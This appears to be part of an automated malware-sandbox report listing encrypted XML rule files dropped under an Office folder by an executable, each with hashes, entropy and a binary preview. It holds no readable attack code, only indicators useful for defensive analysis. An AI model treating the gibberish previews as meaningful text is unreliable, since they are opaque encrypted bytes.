Preview:	<?xml.s w.r;....hQ.\... .J...X.E.)T......z.Z....O.c..f...$.i...P0.....8.{...6<.5p..t.....1'.[..z.MKdY6..r>x.`.$A.._/..z+.=L.s......B..J....N..h....W.d...4.@......@..M.".$..)Gi......Di .O...5.-.?.....&N}.K.4.........C.....{.Ln..%W..........~sT.&..}......:....\|i...,8..I.O..u..8.\|X...{...2.:L....Oe......7..G......ZM.9!bbx.&.m.K........-..Ly(Q.Y.&P..0...7/#:..S.'I.f,.n...g$i.u.Y...[........"h.(t#Z%.=s...C.l.s.Y3..n.S...0......)...k....F.J..t.I..I..O.8.<.....t.s.Y\#..Vm..M....d..~..S'.%'.Ns....I.S..O.{....1....]0&.;..\|%'q.b......T.]Q;.i.5.M&SNG0k.+'..y...K./'u.?P..%;.`Zu[QB<....4b>.{....{...............0../.s.We7^.,../x....c....f...O#+n...Rr........-.K.iO"q...VY.f.V..Z3.@5...-.w-P3...y z_.79......t=.A.G.{.D%f..fs..!..:sz..p..W...).k.Y..D)-ni.XU.{....)........YQW...#.zPX.j.......Y.......rq`.a.Qxg.\|....t..VH..@....b=.`...+py...g.-....HW.s......+....(;".;jF.;m..j......B..C]...W..K....d{..J..l/v..b..sT...;..D....g.\|..q3.b......Ip...z....s..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.957802022759477
Encrypted:	false
SSDEEP:	96:0us30SywJ1KMsZohfWbcEYX2LxxQEU77f8JbEDtbHXKzrFnenkB9:QXJ1hsZs+ZYGLxxbbEDFXEnwe
MD5:	08A0A8C45F218E5AC77F789F93FA887A
SHA1:	2C43F2C98B6E536D1EE069B862E2F6A2B4EDFFB3
SHA-256:	64520432E7B7C16BF98CC9BBDD3A5251F57B3FA8ADB00C649FEFDD02D09A6899
SHA-512:	F1EB91F031152B95973A4A31CD56E9721D281B71AA860371365C39750EBDF95EEC2CC4DCF3D7AA0DC161D5C01323C47B1D824C4F445C61B87CE939F82FA0FBC6
Malicious:	false
Preview:	<?xml=.....[^..c.._..9....S.{..t.>R.j$%..`.E.~Ow%.....b%n9=a.Z...UY......v.l.G...k.M/.Q."....m.Q....J{......Z..w.r.$...e3.....X.).J`..o..^:..pn.....VSv.d8.^??.1.......+g.......G..../.Z.....x..2...`....~/e....i..I6..4"J...9.....P].e.F{......S.U..+.m.ye....&Pir....W.~4Ri.0.....9D&..4.R../`..%4...J.=.fl.K..g.Fc....yN...^,P.P....$2.....LX.&a...pM.s....^...A{......]5..s.......0.../.v.R..v.G..%..:Ao.Q..-k....BR...\...]h..@l...dH..nD...k#U..F+#a.8F.....(...........mhc......a...b.....'....c/.....pZ..."..q......\......,..gY...%..a:.@.z.Z..!.n..`;l.R....l..m...Oo...4Y).........>&9&..........@_..?..s...=.<..BV...].....\|....W0...1O..'.:.i..iC.I.+.S.e.0.>,........d..)..g..@Q.....6.mi.a.....o...^.@...>1.v.<.....Xyx.o0.....GhI.u.6k.....C..L.f.\.L.+.l..J..>........u.^.....u>w..~5j3q....'ya...D...k.U.p:.J...0......:.&\......?.."DC....r.Y..^=.....zc...."fG.!\|1.,..4...&75..O.. [.8E...G...i.g9.=.G.. _.....n.."0h...VwsH.0.42!.A..ze^.`....K.,.m..-.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.961971716742615
Encrypted:	false
SSDEEP:	96:UQjG0bqfKYF0rjbmrBu0ViyBue3be9GALaE5i4F71z7s2xVH9:UQOKYF0Hbf0VXuLnuEIcxP/P
MD5:	0578A9BF54489B0AFA48D6F8E1E835B5
SHA1:	B9310D555B3C51E99469D6774CEFF9A86FB76F80
SHA-256:	11140D8C7085F4C8544F43B5CB3BC11F55975D746618B15A9A2158BE1FBB1030
SHA-512:	8EB3CF5E0ECF8910EE46BAD3098AA859FF79EC169FA2F64AD28B175DD623359C7255DFEBA00ED595BE6E60D4133883E09E13D25B1A343ADFA45341A943F97F20
Malicious:	false
Preview:	<?xml.."3H\I.X.a'..,...\|&I.}.rx.._....v...u%..6ic....>-./.>..:..wHc....(.Zx.}a...E..........`.&.%D..>k+].:qN.S..I..luK..c>...I.{.#r+{.}....>..q.!^yVyu.\..'^"....[.q.].%^...1.....+D0..'...ik.d.0.K....D}...hu......B.e5o...7oh.[~..E...^0.....UVw.2...).l.........n.W?....;.H.O..[....T..9.......q.....D9..~.X..QG...^L..=......a.u............'.INq}e. %y.=L.'Y...H.@..`.3\|.suLB.7)...%.8..;..p>5.X.zT..s.cm....h.'.R..e.Qb....% .,.uA.#n..r.9(....j.+m7...T'.;i...S...g}>.B>..W./&g...ER.N....LE..9&.^J.....H..`....:j..@o......r.^.O..J.........".9...<...te....%..G^]......D."..oI..^..#..3r".......-.o.\|...:.......w.F!2p.u...p.....r.IN.O.Z.}...G.e.Z ..:.NF../t..1-B...1...F.3\._.xzX;<@..o.k.......,.....G..HC..$...x7~....n.!..#.".d......}.....RC.B.....CB.p.ax.+.,N...ADv.7...ikS...4!Qv.b%..Tm.'@.l...+..oh...L.O+....T.<.{.?x.3...vR(.....;..8.%;...B...."u8$..l.....<0..A...h.=+~$..y.....Hv.Z.7Z.$.C.S.r.d3..w.....L\|g4;..;ngR..n....e......(.).,.Z..o^..O.z.t..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.939200063400533
Encrypted:	false
SSDEEP:	48:vPRu++q0udd74DdY2pqGf4zFAh0WZTobO2vbyMxpVD7woQ+HtcFD:vPR0Yd8KRY4zFvsT2bvmA+V9
MD5:	FB390FFC9C14F194E19840002FA5215C
SHA1:	A7E604A75DA5A75A1AC0CEB2F710BBC2127347F8
SHA-256:	822C61043D2D3ED1FD63B086DF4808C3318467D82B44FE92349B7ACAFA0FE8C9
SHA-512:	022B11C95A0CF0BC893CFCE37CBDBB93DDBEB0A32D7B2B87A1B7257D99C525F8867CFCF1058A01EA2CB103A83D9E7FCC9BAD4F3B0253A9EC627812F542D4CCB4
Malicious:	false
Preview:	<?xmlSL.....A..w....+.t).~..JI4u,.0....?{.....F..lFm....ui!.Q.>..^.../..&...;.=.%..D...D.we..)=.PjD..eH...,C.r.g.j.(.t.s.}....j.0l.2>..........K.v.....G.....6....h..'.].b...W?..H)..1..V#H..P.D9B.v..~G....i.......Tm.W..;zPt.[.}. .b.DM........EC....gr.q......~5..!!.`.B...O.~.$X...M..s.m.D`.B..B.+.......y..M.v%r..C.....:../-J./@....'.....1q..,C.v...0b.8.}3....8...\|.?...z..(F.9.<.p........\|..=!.szT.A.`].....QL...aR....r.$.r......y..U..X...gd.v......=...7.....9A..].[..$.vga...r..;.c.5.~.1.o..>F.B.O"....m.[.ox..~9&G.,.d....B......T.(.s.?.../u..2L..2m.l..P8.qF...G..q..7.'..x>?..3...#6p.i9.d^.J..........v."XL...7..l.oj...X.EN....9.s....3..{.0.....S..X[".M..U...kZ....:1#...<.#(."j.M#..6..9. .............#E....$......x@08....A.3.=..#. kj....W5b1.....y.+..Xw\|j,.O;....b_`.q..4.....i..n..T.......<.c(,.#:.K....5I.....T....j...RI....@..:.'..Y/vq..l[.m...../..Z..z.....]z.7].J/F.B}..v...D.I.;........(.....x..d.+.u...:!..j{.........o.....X.......#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.72770436178427
Encrypted:	false
SSDEEP:	12:OsYZ1BQd0hj9AZAuz+bcxznnHA02qCyc0trnaALvEDEQdkXx0knpUpxDrejVciik:OLZ1bh52AVAznnHOqCyla60kh0JcVbD
MD5:	0C9363016A59C1EDCCEFEFE1A6759BE1
SHA1:	A8107DEB2D3D39606EB41C8167DBF9C50FC8EDDE
SHA-256:	1FF43576A76E2670CED1EE2EE06C92A4F9DC56BAB006655B83B7CBD24E2C9E87
SHA-512:	479B0C893E943BDD0F5AB395E9BB7BA4B6CDB63E35EEAE8E0537768E72FD6944251A381C422989156E4073FA3C4ACF434B89B636CD7A831A93CACA63D52A64A3
Malicious:	false
Preview:	<?xml...@...x5=....T..E. ....Jx[....u...^.(.7.....w....>@#..e..=.g.Y......O.P......u.....j.g.T5]"q)_.........Ot9.#\.^.$..rt~....'..j...n\|.rX....V....H...K+n.....b.IL.....?.4T.......e.6.......!:g4.....M...I....~...a,....F'w9..h......1V.Lf.&.r..s.wi....-.....$P..v...NJ.=. y.)...$..B!/.Q..=[......2SH.&hN..M.....^.\|C~..D......ZQ.........qu.L..%..T`l&....9w.....^"@....J.\K.8.....P..ok,.fa\.t..~..!y.U..qVM.O.i.[.E..g.j...p.?.4..0D.s..Xc6.HD..!...6.[p ww......,.ms.{;.g...V.M*...-{.". -M...:..4Y.y..V..%.;+....@.K.eh..~....../.}I....az.}... V..HF.S..(.=..q..'h.:._.....\.\A......r........8.o-g.oZ....VGLZ..aL..i....a.3].!.....E.p....}%Y.%...M.}.L..TOZ.".K.2G-m.......F...y...C...Q..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.932927759926093
Encrypted:	false
SSDEEP:	48:BUdiw48VryOJaEILZVQSk4JOQpRYVqJTKp2HJ+1LJYJLtnuBWQfjWi3Cn3fYaX0N:OdZ4E03pR1Kp2HCJYLafjWW+FkYu9
MD5:	3DFB2F6A8948B7BBFCE1AA46B710808A
SHA1:	5DDC46E1D3B2E0391FECE3284838C00ACA0FB13B
SHA-256:	B78DCFE8794C69EE12CD0AB021D8E19A243E12E106D7E5E45A989E45BD3E6A4F
SHA-512:	17C10B345C741F3075A2B35A57F9407AECB325B0E881F45CC9B3FECAB197C314558BA4C0B97A76848FC40F6EF943E26E5367C548CBE7275F8D488668D523FB22
Malicious:	false
Preview:	<?xml.Y.Zz\.2.W......8oAA..]........?n:./MGx..U!...g.T..cU.~...{.-Mr......H%...~...Y-.h..7..-...b.A.~N.B.Y...lzB.lkH...o.U..l.v....i[[...aj.X..Q`..crB.......}R.E..Q..ck'Y.Vr..3,.r..i.....BD/....#......~Z.V."..O..f..L4.d.C..V@bL5.5UQ.9h....n.3A.....m.......m.@WZ.%...P.....'d..1'.Fj.....Y..\|.b....m.a....Qa2..-.(..w.EN....q.@.S...}.h.5d'.^..$`2.V....4.H..V(..1p.l...L.(i...W>J$}>.W......>.b..I........yx.....A..L....vd...j.l.[.B.$_..p..q...2.(........p.....8..9.p..........ST.ps..AT..>.aR..m.@..s.q...q.Vw'ew...1..`..dedJW.....}a.MAs.mP..F.k.C...S.s.].}0....m..?..X.i.M..R..Z....D-.@..x.;[s1..=.],m~.5.7.\.V .$-...-.s..'.[\|._.La.....JA....1....., ....~^..^4...W.O.....}..'&...ww...@.y.D.#..^v.....#.. ...?&.;.dT.v..4.C.P%...Lop.1a.'...CY...X.!.k...Y..K.T.I....G....(..nH..ir.m..=. /S...G.e.a.zB.m...rz}..r..8..X.QT.5..~...l..x..H...?.1;........f....aEt.BA...]D'../D..\|..).oB.....RI.....D..8.. .4..rIT.../e.......rh...!..y...&yrR.3.E...a..u..Y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.722956527327477
Encrypted:	false
SSDEEP:	24:FOVzjS+aKmmY8qhBTWDedSFKItTc1h+Y2qKbGepxqXVbD:IRjImY8qhBqDeGtA1sqKbGKxAFD
MD5:	03B08F0ABA77FEDA4B0A50CE072572DB
SHA1:	8B6EB642986A3ED690EE93DC9C40FB4E317F02CC
SHA-256:	1142F4114E599157E9086701479D397F093FFE034908D6D8EFA0F0DF1CDB1A83
SHA-512:	07BD5B83BC3874632C4DE4795A1590050D5A0C5A6F0868D21004C0B587031E3986B5FA2E8377A11E16698AA146091C9E315B3EB50FCECD164037DF163F159874
Malicious:	false
Preview:	<?xml+"^.~.T.J.......ihU.....k.g.3.P...~`SD..9.f..L...."....6...5. .v..=..N.AV...........;.<.^n-..E.........!y.4E..i....je\|q?x9...h..fS.R]w.b....p .p.u.nq. %.G....ka.......z.O..XZ@..vb....i..A>x{\|K..@2.......p.d..M.-...u...!. .....fx...........^N[.U....oT.o...P..\I...d..aN....[....`.u..]Ej..V...je....Q..l~r.._......3....M..0+..veg.rn).1W.a....E6.c....=.T...*=.\|......b.r.y(..n.....z[=.v...v..(....f$[H......~4.Tg..=.....Zh...j]........Q..n.E)d...$Hv..$t.<.k.....IT/6.u.#I&.a.Y&R......=.9..D.$..y.e..xXQ...(.../'.^.+...^...a...9.?.KV%..Z.e..v.=@:....j..+K..]......2.&...p?.0...^u..W....\7...h.a.e.e..@.....$....k.=7..0z../.2...C..@A...M^..Y....UL=...p...%<..O...]}.....7..._.k.....K ...m.B.D.Q..E..q...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.92817375950857
Encrypted:	false
SSDEEP:	48:Y/FfaoiEaBHum+3RbNLGhToOijgxv65RWKQtjeUzToHeMUMseUfzTMQZluMB9s4F:sFfpOOBLGZfnvSnGjeBHeMcfZluMB9sw
MD5:	05C75E3CED557CC1F284442CA9A065A6
SHA1:	21FB1BB85BC859C11C057C141D38E31D576DD865
SHA-256:	8276EEC65E90E70F203F5169CAEE9109E8FF3AE521156A9DBB9D9791E948884F
SHA-512:	021C8FD83F3C20E0DA0B61B93D44B8D7E9E2FF692F3C48C9297EA8B6AA207B7878B7FC47E3B2367E690F7E4786E132E48F33747B8FF65B0D3FB811AD45BCF432
Malicious:	false
Preview:	<?xml..W.:..\G.{.....Nz..9...).n.....\|.u.7.]..W....iZ.T..?nI..5F......K..[[.W..nt:....~..."X._._....f.A.%.L&...O6f7Em...K.. F.[.eX5...Y.-.....x.YT....9...O...[.."jB..].B\.\|c.......~....... }.Ao.=U.;m...V.n..(.[V..........J..\|.Z.CG..[.`.gDF.h.....?._...Yw.&>.G...A)D........!.vKwB..Gh.6$.h.......%.)[C.6.\|....2.....t..'...q^!..5.f.DN!.)d.....i.at.@._..]+".25(.Z...{.....y).yp?......H.j..;u..6iQ1..V....cpb2H2..X..\.V...<!.=(!%..b;r.L.T..7F.!....#........"@@........%....Oj.>.9W..kp....<oT.y.....%....#......./o..3...o~..K......7@'.P..bL........F.L..B.....jp...~Q\.cO.%y..W`.B0/z(...Q...H^.>`...gnx<........A....p....d..t.[.$.K......'........D.=\c.....hy.L@......\..E....J..R..U..(.>.O...&...z....i.D.......Ny.h...S........TZ.}.:..jta..5".u..}xij&V.Y..9..}.Ko..w..8..n.(.:.<.^.1y......P.fU...u...&-c.....=XZ.ST..P..Q..N.vN.Y..)f.>..l.dH.k.b*.@..a:.h.E=L..yj{ZlN@..M...."......6.i..y...9.._...4.......i.)\|#.U..j.0.....6........zg2...J.e..u../Sb.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.82389064073119
Encrypted:	false
SSDEEP:	24:IbbcySu3SYa6URLdF7yFJ9DaVCP2EXyDVOBdbaYSVviJCaVVbD:GcySu3pURLD7SPUq2bD8BYwDVFD
MD5:	A270D7C66FCD15B9E0E903D90163DB96
SHA1:	DAD6B10BDCD8570AAFED0C2267DBC8BA257C2418
SHA-256:	65CC681313A2E38218DEBE1ABC135565D55C04DBB552AB8D7D1CBC5B670AB7B9
SHA-512:	76EA29A5741AA6CB32B1C9B2AC829FBDB4D8304218CCB604F1F425684FFBE4821EACC9911D2B141F6F5080DC3F1AB8AC5CAD7FEC74E6C4677BF41B9BD2834141
Malicious:	false
Preview:	<?xmlu2.....e...9.E.9>.Bs.7.(..........a}..!..b...Gc..F.Au.4..B....7....._.../....7')I.`U;..p{t..s....N...!..;d.)6.Ax)....cZ....9.....k<.\|2=.}...T.....9....(.p8...v..Sd.s.\|.>.Yy.-.......;..%xm......rCV].S.......g}..Wq..?[aM........I.c..'j!.....jx......0.....'....o.,p..i..i.....KF`5.A..}R..U..Q.T.m...f....fS.M.:.\|wE........Tw.M.>m..b...........z\ (..z.F-e. vZ.AgL.....Kf.".:..../..E.e....zHV.......?....k.0.$...4......I..@\..xb...K."WA..~)x..D..w......?n.....Xk....W\.s".....c.z..E..j1.w..6.T....I..A.....2v.(....R...r...,O......GxJ.rz....Z.....n..C...#b...W.#........._.Q..6.t.Em1.a...N...Zs..HZG....L...._.%..j....#..3..&r.C.V..:........A.R....p.6.`....b.y....7_....l8nA.hS-ng{r.A...y.Vv..t...U.)..,...@.&b;.."y.....\.c]*Tt&.h..\9..F..'....'.Mfs.+...J..\I.\|\E]u.gIK......M.\|..f`v.U...B....k...b2...(P......n+....,.t$....x.I........a....F......"......\.H}Q2...})^G.f^............{itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.848560178279166
Encrypted:	false
SSDEEP:	24:8ZEWuL6scWOpvAarpjfitETEg6hZr6B+bqo0aYILAD4WI7pl56JgxAocVbD:886vAarlfit8Ax6IbPsILAkWS56axAok
MD5:	5D5896C078F5078CC2BB14B516A8D9FC
SHA1:	09B9334D25326BE3BC664792B3B8113B401E92F2
SHA-256:	1A25FB2A1DEF8C28E348CF9C086F4C9C8322AA88B0D3095A8EF554B58FB53092
SHA-512:	2FA0A0CAC836F6E0A84924959F6325549FB2D8E7F2AD868AA48DD9F14CA84321A0FF7A2DF10EC1037536DC0EAF5A2A0AC53A182FA13C66946097DF3BE989F337
Malicious:	false
Preview:	<?xml,c.....j..A../....\|.S......2...CqM.c8.!..........VN.. ......s(Z........?......u.0.IF.6.C...:_....@.$d.h...}..Nm...,..c{.D...1...!(bqm0y...f.'...3...#]....tJ.}.F...~......>..<]Yz.`..x.;...........l..zd._.j.j.E.&.V_./.Ea$..i..........Q....i"C..^..fq..B..,O...T....V..T...NP........kt.........C..5.hM..]..s.L..9A.@...F......`(...8N.....ao...#J>V....-."..Ke&.P..Q....x....&.'.>6.:v..u.j.0..Y..].sAG.B.....,.={Ar.....:.3n.R.g.z....i...5.9. a...d...E..0.d.\tg.$.i......\|.y8..w9_..7.........=...{..{.R..Q\CxR.....J.c:..cBg.~(..B.l1>42.\|...l.l.......z.R..2b".'`'.x.tT.c......>........5..r.C#..r.k....R.".9.?(y..}...TA..At4.1.l..P.......;.%...\|..)i..Q.....o.....\|.!...t.~...8..br........RG....!.c4.RR\Xe..l.NEm...eJ.'.H/c...4@R.k{..@g.\|.py....V.yuD..N..R@Y.._&..H..x.......%7..+..a......5+.Qy.H-za..<=.YA..4....)..$..._.l~.y?...@..............y..h......Q...i/"_.=..\|.W..t%6+\|.u.....{'NF...EP.....R...A...r.im.........x..*h.<....O.;x...3.?.i....q\.X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.752437214062728
Encrypted:	false
SSDEEP:	24:66ysOJixD87l88jGnRKN6ZR7kmjkdep8NVbD:6rJO8jGRKNyR7km03FD
MD5:	1EE9D4E8F8574A2B326756782BB54EBC
SHA1:	12FAF6F9F3E4CD7FDD182E5E653923C0A7994EE8
SHA-256:	CC0B42EEE1F904AA25B340225207ED7F53410659BD4F54C944389C4E755FBFF8
SHA-512:	0A7D1D88D5909270C6BCA813F84B689875B6711DFE48B121B5BF5D321A1A388575D93119840BF0718916BEE6E124C8DC58D953A91CE298026330BC96BB96A22E
Malicious:	false
Preview:	<?xml.bB7..c.A...R.j..f...X....ZK.....`o.g.M.D..I..u.[:"....^$.<....l{.T...L..:.@..F+-......G....B..<....N)+.\|.JP.n.x..;..5......H.S.M.+.ap.y.t3~..l.Q......n..u.4.7..53[a.Sx3h..9...."...q..'$I{.LC.Z....\{.y...O....z...pm....rc.r..u(......#..,..o.O...(...o..k.`......j..q...m.Bv....`5..e..-:>.P...6.]U.;...Q..9......8.W..w..-aM...A.oy..../...A..\.#fM..?...2.,Pf.3....NN..p.....n.)u..Bu..f.bSQl......K..N.......W..P<0.~.AFe.F...........6....x1-.W.[..3....}.%.a..v#.W..7EJ...@..o..N.n.r.Z1.Vb"z..cN.....c.....6.5V.]..m.L2px....<$.#.4,fkY...I...y.\|...ea...(;..F6N..T.!..(.,..(...I.9.!K.G.S.'.W._..J......T..5V.R+..[..W...V"..J..q.9..D(J...C/.f.....S.M...2.!P.[.%c!j$...PN...........^hl..R>2.i..d.!.J...r..(b[7........r+\..N.....[..~x.....d...B..G(8.......DS!.........%..D?/..t....St.a[....}=....(....A..."........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.753551889711064
Encrypted:	false
SSDEEP:	12:7ZS0nKA+MELHKr1Y6iZYVDjThuy4JGr0AZmZZjxQa5A65h31tjVcii9a:7ZSlb9LKrTYYFjThx4JsJmjxzf3DVbD
MD5:	5C4356B01CC963D35BEE1111FEEAC0C9
SHA1:	B470C0741B5B50C8F809E28DFBA14A055002DF2D
SHA-256:	C8E84450F61241C7764A46272BD622E0D7C9AD2878473A02D21758CEEBE21D1D
SHA-512:	E948A08399A0817BB93B15DF77A22AA0CBEEBF93CA59BD56D5C0B216F673F266CEA2B0D8D80BBAE94BF96323ADAC509AF057F88E14DE1136D4BB4ADBD39D1E54
Malicious:	false
Preview:	<?xml..._//......B..X..k.12.W..Hw.....v.-....c.xJ.Y.D>]<..Dm..y....,....`C...2...s.[./X.1..BR......K%P......j..1.R.I...?.$.v...$.v...6.+ jM..G......g....c...`.#\|D&V-...m..G....Ju......B...`...P...".....?$c...Y.-"q.>.I..>.]:..#..6...v6]..E...b...y[.}.h_..D...u..._..l....T....u.........[.~.g?....X..tw3.....1:~x!..6^..nFh..]0S..P..K.hV..=e/.........dO8I.M..T.....@ ...V.1.4O..I.W3.....x.#.h.......a.Q.....c...t&.f.. ...."(.}?. ..r...~.}[."y...,..s.B........h..e...A./.XO....^#..&...<.&y9...qn.Q.s..{..Gt.`<.)T#M.t..B.x^.[z).[.......;/......Bj.9.=!+.S.~.yL8.H0;5............2.@.x...Z[....{..J..b..q.M.By.E.b..Ta...N.Bz....o.bg3O...t,..R\|.D).....:......9F.[..%..........R\|..PU.J.A....h..f.c.@h. ...O......C.9......8.<g....cH..Nv..YZ..f.x.......-.9K.".Q.LV....yqZ.....c...i.V.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.788392982994713
Encrypted:	false
SSDEEP:	24:269n/mXoYL3VwqgzNqot72G+aU/peOPfwSihzogkuwVbD:xn/mXZcx72G1U/LYSihzoVbFD
MD5:	E29E21C10436FA89F760478EC86B9615
SHA1:	D21A88E3B9018D27014A11E76C944910FD7D1FCA
SHA-256:	E9C6F6F345E3B8379E701BEC5C78E24978C59E0D34AC2606DFF46DF37649A036
SHA-512:	AD2ED36FC18176B64CFA5F2FA32B0C1A81CCE1CE536C67D9904A164896C82AFCAE1EAEB5072E1FDBE474A8C67E28014090FA80DF7BF8172E694B2B34A499AAC1
Malicious:	false
Preview:	<?xmla.V.&. .Qn..}..0pw..X...$...`...Gu...5..>....UY.N..pfWV.&...o.Ig._..N....tT...[...@.9..[.C#Y._?..i\..hT...o.....>..=...+=.v9V}u....GB`.&9W.C6.....M..YG.x6.F;N.`$8..=sG...X..._..\|7.N..jt.....a..}...m.....C~.jzU..g.../.2..<.@%....a./}.4\|.....L/.p....[4.g..?x...9.j_W...!..s.E.H...O[..t9?k..}.a7...7.e.+..4.(3UaG.mG.<..c.[..C0.p4.'..aQ...%....>...J..w.!..M.?rM..Kl.G."_'.102P.]8..J:.:a.GDX...R....][b.$..D......#x.5..ZPc..p.0..}...y[..K....%..O..>~..J..;....J0...../."J..S\|nF.S.Q?.i........9.Av..p.......S.:..u{&.k...P.[....6.58...{...U[f..a.h....:.f...).M.z.4...$IZA...I6H.V....0.l.qiV...c........5....f.+.T..$_..qKER..K,..OU.]4...J..h._K.......0@...e.yj....X1.e..5..%.k.6%.#._3.].....`j.......^9.B...e..]..$...P.3..'...9.b1..[x,.....G......t...K..9J. h..,......@...v...r.Q8o#.j.....:H'....L.......?........e....1;-......sJ......5.6`..}........X.\.....[Z.....i.~.u..$...VG.........:.^.@......~?..C..itkm7MOsOlVQkbEQhWCVEWoMyGFhV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.736021176976284
Encrypted:	false
SSDEEP:	24:Gghb4huLyZGpP1zR91Wf6uMMxut5nWwCIGVbD:GwoxaVRifRWv0FD
MD5:	162445EC6DF3AE22B4BB607AFE46A696
SHA1:	9EEA16C9B1575B937A7DFE29B21529DFC414DBE5
SHA-256:	9B35A28BBF2A2646DD817E2DB9DC5B9576AB7D534B2EB39F25510E504609CE21
SHA-512:	4C2BE77D54F41E9DF3433D277576608D57A2447E6204018F4713404921D20DFCA93C8497B8CEA68ECB1704DF69F61A4FB50C96C75782E7BAF0D2AA71D777A2C6
Malicious:	false
Preview:	<?xml.Kd.uA....g....s2.2.d...1).O@.....R..M#.....}.C.....`=.L..R.....JC.0jE..8uw....Q...uK..J..f.....ax..deG...{....{/e...ST..K.>4.<....[..O...%...6.M>...S}i....."5L,$,.......K...C...6...g.m.#.a:.[..>....>....^.W..&J"....9-..AE.fO.5OG:.w.Lu6.:9.....r....Sa.._s.../..k.\|V.x......U2.(.fW..\...n.%z..+a..G..&%.O[..->.1..6.W.Jh..h.S.!.d..G.m.....A+.\|....k.XO8s.`a..xy.BO..D.....Ta....^.F...'m.[..\..m./.......V....._..iz.......[:...........Y.y....Y...5-.w.r....f...{..<..K..yh1...Y..S..>.P...'d..?.>z.....B..(.....P.FQ<.5%}....H.b.........z..~..~..v.=..pp.......).%....>....w.=a.s.....9}.....JASX...9i...R..b.U*..l.3...}.N.Tn.7.[...C..1..A....#...H..........N.N.U..a<C..........[0....G..............W..H...."d....8.#..h.X.=..F.C.Zt[.p..&..\|js........^O..8z..A.t..[itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.976783777895375
Encrypted:	false
SSDEEP:	192:3ib1jbQcDsOU/tVUd+SM6+1v1P8hh1FEYjw2DI2eudqKSp4JQRUf:3ibd7DsO3d+m+vPWFDlegSp4JKUf
MD5:	8AEDBA1F8F8E5E42788FA5A62D88719E
SHA1:	302A4A4CCD70E49918B288E2844BE78EC1EB5CB3
SHA-256:	3D8F64379D1A2810EBBD12A9B2B80832D1FB48EBF01FB6CBAF5EFDE51522C7E4
SHA-512:	FDCAB19D7CEF0A05A442EB0B7FB67B7A344772858877969598DEC81F1B2DBA427EBF625870D398C818D15D760A8A85C4EDA416AAF64FE1E356EB0FCDE4615DFE
Malicious:	false
